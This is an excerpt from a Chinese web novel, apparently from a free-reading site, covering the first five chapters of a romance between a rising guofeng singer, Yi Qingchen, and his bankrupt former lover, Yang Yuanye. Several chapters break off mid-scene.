《全网都在磕我们的过期糖》 1. 001 救场 《全网都在磕我们的过期糖》全本免费阅读 月华如银,星光杳杳,京北的仲夏夜总是安谧如松酒。平日里十点一过,偌大的天河体育场就只剩野猫还在,可今晚,小猫急着往树丛里钻,到处在找棉花球塞耳朵。 华语音乐“星光大赏”颁奖典礼正在进行中。 体育场外抢不到票的歌迷们分列在不同应援色的方阵里,卖命地为自家偶像造势。“分贝竞赛”从中午进行到半夜,比军训还考验体力。又一波口号较量过后,各家都开始战术性休整,“电音朵拉”们哑着嗓子,一个个猛灌温水、狂吞喉糖。 “啊——!咱们尘宝获奖啦!” 这一声尖叫像飞溅入油锅的水,瞬间把人群给炸开了。 荧光棒狂舞,鱼跃的蓝色“尘”字灯牌在夜色中骄傲地闪烁,与此同时,场馆内也爆发了直入云霄的欢呼。 “恭喜易卿尘,获得‘华语音乐最佳新人歌手奖’。” 舞台大屏幕开始播放获奖短片,伴着浪潮般的喝彩,易卿尘一身月白色高定西装,款款走上舞台。按惯例握手、领奖、鞠躬之后,他站定在金色复古立麦前,脊骨笔直,风姿郁美。 这位二十几岁的青年吸引着全场的目光。他身长玉立,五官精致,冷白皮配上一双杏核美目,微微勾唇,笑容如晴日白雪。最与众不同的是,他自带一股静气,宛如不染尘埃的谪仙。 主持人王大麦站在易卿尘的身侧,一双小眼睛泛着精光,轻松诙谐地开场道:“说起‘易卿尘’三个字,那简直就是今年夏天热搜榜上的钉子户。别人体寒他体热,刚出道几个月就斩获了最佳新人歌手奖,我绝对有理由怀疑易卿尘不是普通的老百姓——” 王大麦故意顿了顿,“而是拿着大男主剧本穿越来的!” 台下顿时响起一阵笑声,易卿尘也礼貌地扬起嘴角。王大麦用半开玩笑的语气继续说道:“我最近刷到一些帖子,说盛世娱乐一直不让易卿尘公开亮相,遮遮掩掩,是在故意溜粉炒作,说的有鼻子有眼。今天咱们正好来问一问我身旁的大男主,卿尘,对此你怎么说呢?” 话音刚落,场上安静了。“星光大赏”是华语乐坛三大颁奖礼之一,一向以庄重温情著称,谁也没想到,王大麦竟对这位当红偶像抛出个如此刁钻的问题。 三个月前,易卿尘的首张原创专辑《人间四野尘》横空出世、爆红网络,第一主打歌《思君不见》播放量单周破亿,以古琴为主调的中国风优美绝伦,大街小巷人人都在唱,KTV必点,国民程度堪比当年周董的《青花瓷》。 歌手的名字很诗意,易卿尘,“渭城朝雨浥轻尘,客舍青青柳色新”。网友好奇心高涨,刷爆热搜,都想看看他到底长什么样,甚至有粉丝去他的经纪公司“盛世娱乐”门口堵人,可惜仍一无所获。 “曲终人不见,江上数青峰”,盛世娱乐表面称易卿尘在潜心创作,希望大家给他保留私人空间,背地里又继续炒热话题,搞饥饿营销。竞争对手们纷纷眼红,于是就有一批媒体开始批判这种“不真诚的营销和炒作”。 直到前几周的“GQ时尚红毯”,易卿尘才终于第一次亮相。神秘面纱一揭开,#美神降临#话题便引爆微博,讨论量一夜间破了历史纪录,美誉和质疑都被推上了新高潮。 王大麦刚刚的问题一出,场上原本跳跃的蓝色灯牌都定住了,粉丝们紧张到不敢大喘气。 易卿尘仍带着淡然的笑意,靠近立麦说道:“大麦老师果然同传闻中一样幽默。说实话,我之前出门连墨镜都不戴,哪里有过什么遮掩呢?而且,在座的各位歌手前辈们都知道,音乐作品才是歌手的脸和名片,所以其实我早就‘公开亮相’很久了。” 言罢,场边易卿尘的经纪人舒了一口气,稍稍松了松捏紧的手。 王大麦眼睛一转:“说的是,相信凭卿尘你这样的颜值,粉丝们一定会永远无条件支持你的!” 看似恭维,实则绵里藏针讽刺他靠脸吃饭。易卿尘不愠不怒,笑容反而加深了:“您过奖了。可是一本书光凭封皮好看也不能成为经典,很感谢这么多歌迷如此肯定我的作品,今后我定会继续努力创作。” 台下用掌声和尖叫回应自家偶像,口号一浪高过一浪,连带宣泄着不满的情绪。导演组见状,赶紧用提词器催促王大麦继续cue流程。 王大麦抬手鼓了个掌,老道地笑说:“太棒了,接下来让我们一起听听易卿尘还有什么获奖感言要和大家分享吧!” 话音刚落,远处突然射来一道尖锐的女声: “易沉冤——” 听见这三个字,易卿尘的心头猛地一颤。循声望去,有人正面目狰狞地用手指着他,沿观众席二楼侧面台阶,往下跑着冲向主舞台。 在看清来人之后,他的呼吸骤然急促,好像冰凉的蛇忽然爬上脊背,血管膨胀。主持人再多犀利的问题也敌不过“易沉冤”三个字对他的冲击,这背后的秘密足以毁掉此前所有的钻营……他的大脑在嗡嗡声中飞速运转。 女人身着酱红色上衣,散着头发,目光如同刀片刮在易卿尘的身上,在他逐渐晃动模糊的视线里步步逼近。 易沉冤是谁?是谁在喊? 台下的人们低声议论,媒体的镜头开始搜索这声音的源头。 女人越来越近,眼看就要冲下楼梯,要如何才能阻止她…… 易卿尘的心已经快要跳出胸膛,镜头前,他却连多一个表情都不敢做。肠胃狠命地拧劲儿,手指骨节攥到泛白,他竭力借面前的立麦撑住身体,眼看着子弹将他射穿…… 绝望之际,黑暗中冲出一个男人的身影:优越的身高,西装勾勒出英俊的线条,宽肩窄腰,一双大长腿健步如飞,似踏风而来。 男人猛地一把将女人从舞台侧面拉进了观众甬道,动作干脆利落,须臾间,女人就不见了踪影。男人黑色皮鞋尾部的两颗金属铆钉在空气中划过一道锃亮的反光,现场瞬间只余一片空荡。 一切发生得如此之快,以至于许多人都还没来得及反应。保安姗姗来迟,跑过去找不到人,只能面面相觑。 望着女人消失的地方,易卿尘的太阳穴突突直跳。超高清镜头对着他,他是歌手,此刻却被考验演技。 暗自调整了呼吸,易卿尘开口发表获奖感言,将观众的注意力拉回台上: “感谢星光大赏,感谢盛世娱乐,更要感谢我的歌迷们,可以获得最佳新人歌手奖,我受宠若惊。刚刚的颁奖辞里说《人间四野尘》这张专辑是今年最好的中国风,我实在愧不敢当。我只希望在这个快节奏的时代,国风音乐能在时光中复苏,继续带给大家内心深处的文化记忆与情感共鸣。” 易卿尘诚挚的笑容如青松上覆着的茸茸白雪,他托高奖杯说道:“古乐归来,国风永存。” 台下响起了热烈的掌声,粉丝们疯狂地呼喊他的名字,而他的经纪人正在焦头烂额地打着电话。 镜头前的他云淡风轻、滴水不漏,却没人看见他那攥着的手心全都是汗,头皮过电般发麻。其实他一眼就认出了刚刚的男人。这世上有无数双眼睛,唯有杨原野那一双星辰般深邃漆亮的明眸,易卿尘从不会认错。 可是,杨原野为什么会出现?又怎么会愿意帮他?他试图从记忆的倒置中翻找出答案…… - 时间拨回到初夏,夜色中,一架飞机从西南飞来,隆隆降落在京北。 那时《思君不见》刚发表,易卿尘本人还是个躲在幕后的小透明,盛世娱乐高层正式决定并通知他回京北发展。 银色的保时捷卡宴驶过什刹海,易卿尘侧着头,出神地望着窗外倒退的夜色和街景。除了酒吧换了几个新的,一切和他离开时变化不大。 四年前,他匆匆离开京北,孤身去了渝州,期间从没回来过。 降下车窗,熟悉的月季花香沁脾,他微阂着眼,向后靠进椅背。 司机大哥虽然不认得刚从机场接回来的青年,但听楚总在电话里交待的语气,也知道是位顶重要的人。 “是不是车里太闷了?要不我给您把空调调低点儿?”司机殷勤地问。 易卿尘睁开眼睛,有一瞬的恍惚:“不用麻烦了,我只是……我好久没回家了……” “哎?你也是京北人呐?你家住哪儿呀?” “嗯,我家以前就住丞相胡同那片儿。” 距离瞬间拉近了,司机放松下来说道:“丞相胡同可真是个好地方,最近都等拆迁呢!” “是吗……”他四年没回来了,什么也不知道。心绪如啤酒泡沫,争先恐后从四面八方溢出杯盏。 手机忽然嗡嗡地震动,易卿尘看了一眼来电显示,身子倏然绷直,收拾好不小心外露的情绪,接起电话:“楚总。” “小尘,老刘接到你了?”楚言说,“一会儿到了别紧张,你就跟着我。” 今晚要去的是司徒寒的生日晚宴。司徒寒是个艺术品巨贾,舅舅是文化.部响当当的领导。不看僧面看佛面,京圈文艺界的大人物今天都来了,这其中就包括知名导演骆佳滨。 骆导手头攥着的是上面刚批的S+级音乐竞赛综艺《中国唱作人》第二季,能上这个节目的歌手,约等于提前爆了。盛世娱乐CEO楚言今天谁也没带,只带了易卿尘,其中深意,不言而喻。 保时捷又开了很久,才抵达京郊的私人别墅。 现代主义风格的别墅外墙,深色的花岗岩和玻璃幕墙交相辉映,隔着铁艺大门就能看见庭院中一派太平歌舞、绿意含烟,夜风将音乐轻轻飘送。 易卿尘对花团锦簇的上流社交圈从未有 2. 002 重逢 《全网都在磕我们的过期糖》全本免费阅读 那双夜色般深邃的眼睛,仿佛一个魂器,盛着易卿尘的故乡,拴着他的灵魂。 杨原野的视线扫过易卿尘的脸,眼中晃过一瞬间的惊诧,继而化作一副无悲无喜的冷眼,像在看一个陌生人。 易卿尘身体里的血瞬间凝了。 “嗬!我没看错吧?!这不是杨大少吗?怎么今儿……来体察民情了?” 说话的是身后那桌一个年轻男人,认出端着盘子的竟是昔日杨家阔少,忙不迭大声地调侃道。 杨原野转头看了男人一眼,冷淡地说:“金少,好久不见。” 那位金少像看见猎物般双眼放光,放下手中的筷子走了过来,余光瞥见易卿尘和他身旁坐着的楚言。 一只大手故作熟捻地攀上杨原野的肩,幸灾乐祸地说:“哥们儿,怎么这么不小心呢?这位可是楚总的人,快,还不给人家擦擦?” 周遭的目光都聚了来。 只见杨原野轻微蹙了蹙眉,带着标准的侍者微笑,点点头说:“好的。” 他旋即蹲下身子,将手中的托盘放在易卿尘的脚边,托盘上的白色餐巾已被红酒染污。杨原野没有犹豫,解开衬衣袖口的两颗扣子,拉起一截洁白的衬衫袖子,去擦易卿尘鞋上的酒渍。 隔着高级柔软的麂皮面料,易卿尘能感觉到杨原野一下一下擦拭的力道。 他完全不敢相信眼前发生的一切,杨原野蹲着给自己擦鞋,这怎么可能? 几年前的杨原野还是京北有名的阔少,父亲是鼎鑫集团董事长杨金波,母亲是红极一时的情歌皇后汪曼姿。不同于一些草包富二代,杨原野是京北大学临床医学系高材生,头脑好得要命,妥妥的天之骄子,一出生就在罗马市中心。 痞帅痞帅的外型,极富攻击性的浓颜,浑身的风流劲儿。那些追捧者们,青春少艾,恨不得把心掏出来喂给他。 不像别的学生那般书卷气,杨原野成日背着他的马丁吉他,穿一件带铆钉的黑皮衣,跨上价值七十多万黑红相间的杜卡迪摩托,轰隆隆地穿梭在风里,叛逆桀骜,对着世界竖中指,游戏这人间。 升大四那年暑假,杨少爷走进“弄潮音乐工作室”,准备写歌发专辑。在一众音乐制作人中,他独独选中了那个立在角落、白衣猎猎的易卿尘。 彼时,杨原野是天上星,易卿尘是脚下泥。 易卿尘还记得,当年只有十九岁的杨原野是何等的桀骜飞扬。记忆中的某天下午,杨原野站在丞相胡同,扬了扬下巴,冲着他喊道:“易卿尘!我鞋带儿开了,过来给我系上!”说着,双手撑住身后的矮墙,噌地跳坐上去,漫不经心地开始晃荡他那两条比命还长的大长腿。脚上的球鞋是昨天刚加价买的限量版,一万八千块一双。 “喂,我是制作人,不是保姆。”易卿尘仰头看着他,“再说,我怎么也虚长你三岁,老师没教过你尊老爱幼吗?” 杨原野漫不经心地一咧嘴:“你傻不傻?我这不是在给你机会‘爱幼’嘛。” 说着,杨原野一只脚伸过来,差点踹到他40块一件的佐丹奴白色T恤。 “行,少爷。”易卿尘压着性子、低眉顺目地给他系鞋带,杨原野仰着脑袋望天儿,口中哼着自己瞎编的歌。 那些画面仿佛是上辈子的事了。 曾经不可一世的少爷如今正半跪在地上给他擦鞋。 大脑轰地一下炸开,易卿尘猛地站起身,慌乱地喊了一声:“够了。” 音调有些高,周围人群一下子安静了,大都疑惑地盯着他。 杨原野手上擦鞋的动作停了,身子半跪着,却没抬头分一束目光给他。 楚言见状关切地问道:“怎么了小尘?”他一时像被夺了舍,说不出话。 见易卿尘紧抿着唇线,楚言起身按着他的肩膀让他先坐下,一边对着杨原野说:“没事儿了,都是不小心的,我们不会计较,你先下去吧。” 杨原野的目光倏地落在楚言的手上,那双手正轻轻拍着易卿尘的肩膀,温柔地体恤安抚。 司徒寒远远瞧见,也隔着半张桌子大声说道:“楚总,别和这种人一般计较。”声音雄浑,却异常刺耳。 杨原野面无表情,捡起地上的托盘和酒具,直起脊梁,平静地说了句“抱歉”,转身便走了。 “这怎么回事儿啊?”某个老板冲着金少打听八卦。 “你们不知道吧,他就是杨金波的儿子。”金少爷答道。 “杨金波?鼎鑫的杨金波?不可能吧……” 金少爷眉飞色舞:“就是鼎鑫的杨金波,不过现在可是失信名单上的老赖了!老杨变老赖。我听说他躲到美国去了,还以为他们全家都跟去了,没想到,竟然留个儿子在这儿还债,太好笑了。” “他儿子居然在这儿当服务员,我听说这位鼎新太子爷曾经在二代圈里很受追捧的,他妈就是大歌星汪曼姿,怪不得他生得这么帅,唉,可惜……”桌上一位女士唏嘘道。 邻座撇嘴道:“你可怜他干嘛?他老子赚钱他跟着享清福的时候,怎么算?” “也是。啧啧。” 人们在这儿高人一等地议论着别人家的落魄,评判别人的失意。 易卿尘脑子嗡嗡作响——老赖?杨家破产了?什么时候的事?这怎么可能…… 慢慢地,易卿尘耳中空然一片,什么都听不见,只看见人群在拉扯口型。血色从他的脸上一点一点地褪去。 “……小尘?小尘!”楚言用手指敲了敲易卿尘面前的桌面。 易卿尘惊慌地抬头,对上楚言关切的目光。 “骆太太在问你话呢。”楚言提醒道。 “……” 他心绪难平,顾不上骆太太:“唔,不好意思,我要去一下洗手间,先失陪了。” 他没看楚言的反应,几乎是跑出了宴会厅。见迎面走来一个服务生,他拦住便问:“看见杨原野了没?” 对方一愣,看着这位激动的客人,摇了摇头。易卿尘一连拦住好几个人,终于,一个女侍应告诉他:“小杨他刚走了。” 他来不及道谢,转身就跑,好像在追赶失掉的光阴。 在电梯门即将合上的一刻,他不管不顾地将胳膊伸了进去。好在电梯门重新打开,梯内的人都松了一口气,诧异地望着他。 他管不了那么多,心脏堵在嗓子眼。不一会儿,门一开,又箭一样冲出了电梯,径直往大门方向狂奔。 门卫这回一下子就认出了他,立刻堆起笑脸,迎上去问他有什么能帮忙的。 “有没有看见一个高个子男人?很年轻的!看见了吗?”易卿尘比划着。 门卫听后扭头四顾,指着大铁门外问:“是他吗?” 黄橙色的路灯倾泻着洒下来,笼罩着那人的侧脸,棱角分明,线条凌厉,接着传出摩托车发动时排气管的轰隆隆声。 “开门!” 易卿尘跑出大门,一个箭步,踏出阴影,冲下车道,像是不要命了一般,生生拦停了刚刚起步的摩托车。 七十几万的杜卡迪摩托不见了,如今杨原野胯.下的是一辆国产贝纳利752,均价人民币四万七。 摩托车前灯直射着易卿尘的正脸,他下意识抬起手半遮住双眼。耳畔是发动机的轻微轰鸣,空气中似有若无地弥散着汽油在气缸内燃烧发出的独特气味。 待眼睛慢慢适应了强光,易卿尘放下手,努力地去看清杨原野。他的样子几乎没变,剑眉星目,依旧喜欢穿黑色,一条腿踩着摩托车脚蹬,另一条长腿荡在地上,还是那个桀骜不驯的模样。 二人的视线在暖黄的路灯下重逢,交织。 “阿野,”易卿尘唤他的名字,声音像刚从游泳池里上岸,尾调止制不住地瑟瑟发抖,“是我,我回来了……” 杨原野一瞬不瞬地望着他,眸底闪过一丝深 3. 003 花瓶 《全网都在磕我们的过期糖》全本免费阅读 易卿尘跟随楚言回到主桌的座位上。觥筹交错,推杯换盏,宴会还在继续。 身旁的骆太太略微转过脸扫了一眼易卿尘。易卿尘耸了耸鼻子,闻见一股淡淡的广藿香精油的味道。 “楚总刚干嘛去了?”一桌的张总喝得舌头打结,“我们正说令弟呢,小楚总今天怎么没来?” 小楚总指的是楚默,楚言同父异母的弟弟。两兄弟经营着各自的娱乐公司,盛世娱乐和尚星娱乐表面和谐,暗地里斗得你死我活,这个圈里人都清楚。 楚言内敛,筹谋于千里之外;楚默外放,哥们儿姐们儿一车皮。今天大家私下都在议论,怎么弟弟没来,哥哥反倒来了? “楚默上周出国滑雪摔骨折了,不然这场合哪少得了他?”楚言说。 “原来如此,他可是真能折腾!”张总看了眼楚言面前的酒杯说道,“楚总这酒杯空着哪能行?来来,那个谁,快给你楚哥倒上。” 易卿尘反应了半拍,他就是张总口中的“那个谁”。点头嗯了一声,他伸手去拿桌上的酒,胳膊到半路,却被楚言给拦住了。 楚言冲张总说:“小尘他不懂酒,不如张总您来给我选一支倒上吧?我最信您的品味。” “嗐!选酒有什么难的?以后你多教教他。这‘红酒配红肉,白酒配白肉’,”张总憨笑着拿起一瓶霞多丽,给楚言斟上,“依我看,今天海鲜多,先来杯白葡萄。” 易卿尘松了口气,看了眼桌上,全是名贵的食材,果然“白肉”居多:金枪鱼腩配白带子、黄焖海参瑶柱、黑松露烧鹅肝、白金帝王蟹炖鱼翅、松茸焗鱼柳…… 易卿尘注意到旁边骆太太的表情,眉头微蹙,悻悻地坐着,一直没抬筷子。 想了想,易卿尘抬手默默地将桌上的一盘素菜“琼脆秋韵”转到了她的面前,轻声道:“这道是竹笋、菜心搭配蘑菇,里面的山药尤其健脾落胃,骆太太您尝一尝,看看合不合胃口?” 骆太太有点意外地看他,礼貌拿起筷子,浅尝了几口,确实觉得不错,舒服了一点。她转过头悄声道:“我平日脾胃弱、不爱沾荤腥,小易你是怎么知道的?是楚言来之前告诉你的吗?看来他对你还真是……嗯,器重……” “楚总倒是没跟我说过这些,是我自己久病成医了。我闻到您用的广藿香精油,这味道我特别熟悉。”易卿尘答道。 广藿香的气味很特别,不难辩,起先是陈旧烟熏的味道,走到中后期有着丝丝缕缕的桂香,自带默片气质。 “我小时候不是那么健壮,胡同里的老中医就给我用广藿香配党参、白术。”易卿尘说,“平日,您也可以多食薏仁粥和姜汤。夏天湿气重,吃些豆类,不要贪凉。骆太太,我说的有点儿多了,希望您不要怪我啰嗦、多管闲事才好。” “怎么会呢?”骆太太看他的眼神多了些慈爱。 骆佳滨导演见自己太太和易卿尘低头聊得热络,也凑了过来:“阿青,和人聊什么呢?” “小易这孩子心真细,居然还懂中药,他给我说了些药膳的方子。” 骆佳滨看向他:“小易,我听过你的歌,很有个人特色。你是学民乐的?” 骆导演看起来不难亲近,易卿尘起身给他斟了杯茶,毕恭毕敬地回答:“我从小跟着父亲学古琴,后来在音乐学院读的音乐制作。” “哦?音乐制作,搞幕后的?那后来怎么想着自己唱歌了?”骆导好奇地问。 易卿尘说:“父亲在世时,经常感慨如今会弹古琴的越来越少,担忧它曲高和寡,总有无人问津的一天。他走后我就想,也许可以让古琴融入流行音乐,传唱起来,让人们先感受它的优美,欣赏的人多了,以后才能得以发扬传承。” 骆太太点头赞同:“不错。那句话怎么说的来着?怎样使一滴水永不干涸,只有让它流入大海。” “嗯,有点意思。”骆导笑说。 喝酒到满脸通红的张总不知怎的,也来插话:“骆导你们仨这说什么呢?” “没什么,说说民乐。” 张总听后一摆手:“哎,民乐有什么可说的?吹唢呐,拉二胡,那都是红白喜事才翻腾出来的玩意儿!” 这人显然喝多了,说话不过脑子。骆佳滨不接话,拿起筷子沉默夹菜,一时间场面变得有些尴尬。 易卿尘见状接过话题,说道:“看来张总您不爱听民乐,也难怪,民乐和中医一样,都不是人见人爱。” 张总红着脸哈哈笑:“中医我就更不行了,我妈成天给我转发那些个老中医的偏方,什么老祖宗留下的顺口溜,上热下寒……哎呦喂,我看了脑仁儿疼。信中医的,就和喜欢民乐的是一批人,老了都得被那些卖保健品的骗光老本儿!” 桌上有几个人不明就里,听了一耳朵,跟着哈哈大笑,一旁骆导和骆太太都已经沉了脸色。 “张总,不知道您平时都喜欢听什么歌呢?”易卿尘接着问。 张总的年纪得有五六十岁了,他想了一下,说:“我们这一代人爱听的都是老歌。”说着看向年纪差不多的骆导,“江姗的《梦里水乡》,骆导肯定听过吧?开头那曲调一上来,我就想起了我年轻的时候。” 易卿尘眼睛一亮:“《梦里水乡》可是竹笛为主调,看来张总口是心非,说不喜欢民乐,实则只想自己一个人偷偷喜欢。” 这话既替民乐挣回了颜面,又不让张总太难堪。骆太太的唇角终于露出来一抹淡笑。 张总也哈哈一笑,说:“还真是”,接着又开始新一轮的劝酒。 易卿尘端起面前的酒杯,对着骆导骆太太低声说道:“在喜欢上之前,很多人都误以为自己不喜欢。我想用古琴做出大众都喜欢的中国风歌曲。骆导演,《中国唱作人》需要多元化的音乐,请允许我毛遂自荐,我不会让您后悔的。” 易卿尘说得真挚,礼貌地和骆导碰杯后,一仰头,喉结滚动,将酒一饮而尽。骆导也笑笑,干了面前那一小杯。 楚言在一旁瞧着,笑靥如水。骆导放下酒杯,冲楚言点了点头:“楚总眼光不错,小易他确实——” 易卿尘的心提起来,很紧张骆导如何评价自己。 “确实是挺漂亮的。” 心中一沉,易卿尘能靠的竟然只有“漂亮”…… 别墅内一派太平升歌,别墅外夜色愈加深沉,乌云带出了一阵小雨。等杨原野进门的时候,衣服已经湿了。 老旧的门锁不太好使,杨原野用钥匙捅了半天才拧开门。 随着门响,一道稚嫩的童声传来:“妈妈,快推我去看看,是哥哥来了吗?” 屋内只开了一盏小灯,昏暗地照着发黄的墙壁。一个三岁的小女孩坐在小小的儿童轮椅上,身上盖着毯子。看见杨原野的瞬间,小女孩开心地大喊:“哥哥!” “小葵怎么这么晚还没睡?”杨原野走过去俯身蹲在轮椅旁,一手搭在小女孩的腿上。 “哪儿呀,她是睡了又醒了,说是胳膊痒。”推轮椅的女人答道。 女人叫郝圆满,是杨原野的继母,只比他大九岁。杨原野父母很早就离异了,他曾经看这个“小妈”也是不顺眼,谁知如今却要相依为命。 郝圆满的声音里透着疲惫:“外面刚下了雨,小野你怎么过来了?” 杨原野递给郝圆满一只塑料袋,里面装着一个电蚊香和几本儿童书。“夏天到了,蚊子多,你跟小葵点上吧!” 小女孩听了抬起手指指自己的脸:“哥哥你看,我脸上被叮了一个大包。” 杨原野摸摸她的头:“快睡吧,哥哥走了,过两天再来看你。” “不嘛,哥哥别走……”小女孩的眉头立刻耷拉下来,杨原野只好又蹲着陪她讲了好一会儿故事。 半个小时后,杨原野站在蚊蝇乱飞的楼道里,打开微信钱包,把大部分余额都转给了郝圆满,自己只留了个零头。 杨原野不住这里,而是租了一个隔断房,就在他白天打工的医药器材店附近。本就只有六十多平的小房子,中介用简单的隔断愣是打成了五室一卫。杨原野租的这个单间一个月只要一千两百块。由于隔音太差,几家约好半夜十二点一过,就不要进出走动了,免得吵到其它人睡觉。 低头看看手表,十二点十五, 4. 004 台风 《全网都在磕我们的过期糖》全本免费阅读 电话那头除了电流的微小沙沙声,什么也没有。 杨原野不敢相信自己的耳朵:“你在说什么?在开玩笑?……还是同学聚会,真心话大冒险?是吗?别玩儿了吧……” “……” “出什么事了?你跟我说,别吓唬我啊……”他急得就差在原地转圈。 无论他说什么,对面只回以长久的沉默。 “易卿尘,说话!”杨原野暴躁的一吼,洗手间外热闹的寝室瞬间鸦雀无声。和他要好的小歌手敲了敲洗手间的磨砂玻璃门:“你没事儿吧?”里面大喊:“别管我!” 杨少爷烈火脾气,因为打小优秀,全世界合伙把他惯的。 易卿尘终于开了口:“我知道那天在机场你想问我什么,我现在就可以给你答案。杨原野,我不喜欢你,我不可能做你的男朋友。” 脑袋嗡嗡作响,杨原野怔愣当场,懵然地问:“不喜欢……是什么意思……你、你从来都没喜欢过我?” 声音的尾调沙哑变形,他真的不懂,为什么易卿尘像变了一个人。 “没有。”非常肯定的语调。 逼仄的洗手间让杨原野喘不上气,他砰地一声踹开门,发疯一样冲了出去。 身后一众室友面面相觑。一个戴眼镜的幽幽问道:“天才吉他手……失恋了?” 四下无声,街上竟一个人也没有。杨原野的说话声回荡在空旷的街道上,从难以置信的诘问,变成了自说自话。 “我不相信……我最近做错什么了?还是,你有别的喜欢的人了?” “我是脾气急,再给我一次机会行吗?我都改。” “小尘,你理理我……” “……” 他几乎魔怔地不停对着电话说话,生怕他一停,对方就会挂断。 他拿着手机演着孤单的独角戏,借着忽明忽暗的路灯,步伐踉跄,不知道走了多久,也不知走去了哪儿。 月亮躲在乌云背后,一条银边也无,闷热潮湿的天,开始刮起了风。整个世界黑压压的,只有路边小店亮着荧光色灯带,写着closed,艳丽诡谲。 杨原野每说几句就要看一眼手机,生怕信号断掉,或者手机没电。信号和电量都好,只是电话那头的人就是不肯再跟他说一个字,只剩下看不见表情的沉默。 微风逐渐变成了急促的呼啸,树木开始摇摆,街上的垃圾纷纷飘起。顷刻间,雨点如同密集的子弹般砸向大地,将街道湿透。 杨原野在大雨中无措地疾走。 电话那头终于传来了情绪难辨的低语:“是下雨了吗?” 杨原野攥紧手机,声音发抖:“小尘,我想你……” “去躲躲吧。”易卿尘说。 一家小店门楣上方略微倾斜的牌匾写着——“好运商店”。见门口有个小小的四方屋檐,杨原野跑了进去。 “你还是在乎我的,是不是?”他燃起一丝希望。 手机里传来一声短叹,轻柔的像是最后的宣判:“阿野,再见了。” “不要!”杨原野的心猛地揪了起来,话语绕过骄傲冲出喉咙,“别这样,小尘,我求你了……我现在就回去,我这就回京北,咱们当面说——” “不用了,以后就当不认识吧。” 嘟、嘟、嘟—— 忙音。电话被挂断了。 雨顺着脸颊不断地落下来。怎么会这样?杨原野哆哆嗦嗦着想,怎么会这样?不可能,一定有什么地方搞错了。 明明昨天你还熬着夜等我的电话,你一会儿催促我抓紧时间火遍大江南北,一会儿又希望我始终藉藉无名。我说好吧好吧,都依你。你咯咯地笑,我也笑,想象着你的模样,想象着回去那天我要如何拨乱你的头发,咬破你的嘴唇。 到底是什么错了?杨原野一遍遍地想,妄图在记忆中找到真相的解构。他不明白,他要一个答案。 杨原野紧攥着电话回拨过去,按键的手指在颤抖,被风吹冷的身子在颤抖,睫毛在抖,牙关也在抖…… 那头的机械女声传来:“对不起,您拨打的电话已关机。” ……易卿尘,你这样对我,真的一点都不心疼吗?空气中无人回答,只凉阴阴地匝着他,寒意流遍全身。 在同一个机械女声重复了第九次之后,手机电量耗尽,自动关机了。杨原野死命地长按开机键,不愿放弃,可手机仍是黑屏。 大雨滂沱,街灯在狂风中摇摆,不时有闪电划破夜空,雷声仿佛直接在他耳边轰炸。 他是一具无知无觉的行尸走肉立在雨里,整个人早已被浇透,黑色上衣紧紧贴在身上,雨水模糊了他的视线。台风过境前,气压越来越低,让人喘不过气来。 远远的一道车灯晃过,离杨原野越来越近。是一个骑着机车的中年阿叔,皱着眉小心翼翼地在雨水中趟路。 杨原野猛地冲下去,阿叔被吓了一跳,再看他狼狈失神的样子,心软地问道:“后生仔,你底地呀?(年轻人,你去哪里呀?)” 听不懂闽南语,杨原野拉着阿叔恳求地说:“机场在哪儿?我想去机场,我要去找他!可以送我去机场吗?多少钱都行!” 见他歇斯底里的样子,阿叔吓了一跳,好心劝说道:“阿吖,年轻人,这个时候就不要去机场了嘛,刮台风哪里有飞机好飞呢?你家在哪里,我送你一程毋好?” 眼前这个失魂落魄的年轻人不住地摇头,表情似哭非笑。阿叔心下生寒:“你早点回家哦!”说完忙骑上机车走远了。 杨原野绝望地挪回到好运商店的檐下,全身无力,瘫软着坐在积水的地上,墨色的眼睛死一样的寂。 杨原野不肯走。他要等。等天亮,等风止,等雨停,等一辆车带他去机场,等飞机带他回故乡,等故乡的人飞身扑进他的怀里,笑着说“阿野啊,那不过是个玩笑”。 台风过境,风力愈发猛烈,雨水水平飞溅,街上的树木摇摆不已,发出吱吱嘎嘎的声音,地上的广告牌纷飞,世界瞬息摇摇欲坠。 杨原野放倒身体,软软地趴在了自己的膝盖上。头很晕,心脏也跳个不停。恍惚间,他听到头顶上方有金属螺丝松动的吱扭声。抬头去看,那块用红色大字印着“好运商店”的牌匾在他的瞳孔中急速下坠,他本能地抬起右手去挡。 一股巨大的力量将他拍进雨水中。手心被什么刺穿,一阵钻 5. 005 小狗 《全网都在磕我们的过期糖》全本免费阅读 细雨朦胧的夜色中,帝京公馆别有趣致。一条宽阔的弯曲小径,两侧栽植着各式各样的名品花卉,在微风中摇曳生姿,淡淡生香。柔和的路灯照着小径蜿蜒而行,花园内的座椅点缀其间,道上错落有致地布置着艺术雕塑,与周围的绿植相得益彰。 易卿尘从没住过这么高档的小区。他在孤儿院长到六岁,之后随养父住在丞相胡同的老房子里。四年前他一个人去了渝州,对住处的要求就是不要漏雨漏风。 帝京公馆,闹中取静,贵无可贵。可易卿尘怎么也高兴不起来,他满脑子都是杨原野的那句:“好狗不挡道”。 正想着,竟然真就听见了一声呜呜的狗叫。低头一看,一只毛茸茸的小白狗正无助地蜷缩着,挡住了他的去路。 他走上前,小心翼翼地蹲下来,伸出手,轻抚着小狗的背,试图安慰它。小狗瞪大了湿漉漉的眼睛,似乎感受到了他的善意,又凑近了呜咽两声。 “谁说好狗不挡道?好狗也挡道,我们就是好狗狗,对不对?”易卿尘抱起小狗,温柔地捋顺它的毛,轻声安慰。一瞬间,他竟感觉自己和它同病相怜。 抚摸间,他发现小狗颈间系着一条精致的蓝色项圈,上面挂着个小小的名牌——德鲁。 还是个挺洋气的狗狗,毛发白得像雪,一看就是精心养护的,想必主人应该正着急地到处找它呢。 易卿尘抱着德鲁坐在花园的长椅上等它的主人。 不一会儿,远处传来一声一声的呼唤:“德鲁——德鲁——” “德鲁,你的主人来找你啦,你还是很幸福的。”易卿尘笑自己竟然在羡慕一只小狗,他扯着嗓子大声喊道:“在这儿,德鲁在这儿呢!” 回应得特积极,不知道的还以为他就是德鲁呢。 “来喽来喽!” 呼哧带喘地跑过来的是一位老爷爷,精神矍铄,白发梳理得整齐,易卿尘看他有些眼熟,可又想不起来在哪儿见过。 德鲁见了主人忙不迭地跑过去,小脑袋高高抬起,尾巴如同一把欢快的旗帜,快速摆动着,形成一道模糊的影子。 “谢谢你呀,小伙子。”老爷爷抱起德鲁,德鲁立马伸出舌头猛舔主人的手心。还是只舔狗。 “不客气的。”易卿尘说,“哦对了,叔叔,请问您知道D座在哪儿吗?” 巧了,老爷爷也住在D座,为了感谢易卿尘帮他找到德鲁,于是一路主动送他到家。 站在门口,老爷爷有点儿惊讶地问:“你住这间?” 